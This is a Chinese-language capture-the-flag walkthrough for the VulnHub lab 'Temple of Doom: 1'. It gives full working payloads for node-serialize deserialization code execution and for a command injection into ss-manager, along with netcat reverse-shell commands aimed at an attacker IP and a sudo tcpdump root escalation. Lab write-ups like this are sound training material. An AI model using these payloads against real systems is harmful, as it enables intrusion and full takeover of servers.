靶机地址:Temple of Doom: 1 ~ VulnHub
攻击机kali和靶机要设在同一网段,查看靶机MAC地址:
一、信息收集
扫描目标主机
arp-scan -l
使用nmap扫描靶机开放的端口:
nmap -A -sS -sV -v -p- 192.168.7.49
浏览器访问666端口,提示正在建设中,稍后再来!
使用dirb扫描目录,无任何有用信息
查看页面源代码,无有用信息
使用Burpsuite进行分析查看
看到cookie,发现这里的%3D是url编码:=,明白这个值是Base64 + URL 编码
不对请求包进行任何修改,直接点击repeater中的sed进行发送,对显示的报错信息进行查看,发现node-serialize正在目标应用程序上使用
报错原因发现是由于Friday前面缺少一个引号,没有进行闭合
在Friday前面添加一个引号,并把字段先做base64编码,再做url编码,页面显示正常
base64编码(burp快捷键CTRL + B):
URL编码(burp快捷键CTRL + U),使用repeater发送后显示正常
删除cookie其它内容只保留用户信息
编码后再次发送查看,依然正常显示
使用demo进行测试,编码后发送查看,发现还是正常显示,由此可判断出是节点序列化
使用如下反序列化利用方法:
{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('whoami',(e,out,err)=>{console.log(out);}); }()"}
说明:
_$$ND_FUNC$$_function() : 在本地执行一个函数
child_process 是node.js中的一个模块,它以类似于popen(3)的方式生成子进程
child_process.exec () method: 此方法在控制台中运行命令并缓冲输出,它指定字符串Shell执行命令(在UNIX上默认:'/bin/sh')
编码后发送到服务器,显示当前用户为:nodeadmin
执行ls命令进行查看
{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('ls -lah',(e,out,err)=>{console.log(out);}); }()"}
二、反弹shell
kali开启监听
nc -lvvp 5656
反弹shell语句:
{"username":"_$$ND_FUNC$$_function(){return require('child_process').execSync('nc -e /bin/bash 192.168.7.251 5656',(e,out,err)=>{console.log(out);}); }()"}
反弹成功!
python -c 'import pty;pty.spawn("/bin/bash")' #交互式shell
切换到fireman目录发现被拒绝
cd /home
ls -al
cd /home/fireman #被拒绝
cd /home/nodeadmin
ls -al
查看fireman运行软件,发现ss-manager由fireman作为根root来运行
ps aux | grep fireman
根据如下参考:
kali再开启一个监听
nc -lvnp 6666
根据参考语句进行如下命令:
nc -u 127.0.0.1 8839
add: {"server_port":8003, "password":"test", "method":"||nc -e /bin/sh 192.168.7.251 6666||"}
反弹成功!
python -c 'import pty;pty.spawn("/bin/bash")' #交互式shell
查看sudo提权可执行的命令:
sudo -l
查询相关命令在线网站:GTFOBins
三、权限提升
开启监听:
nc -lvvp 7777
cd /tmp
echo "nc -e /bin/bash 192.168.7.251 7777" > shell #在靶机上进行tcpdump提权操作
chmod 777 shell
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell -Z root
反弹成功!
提权成功!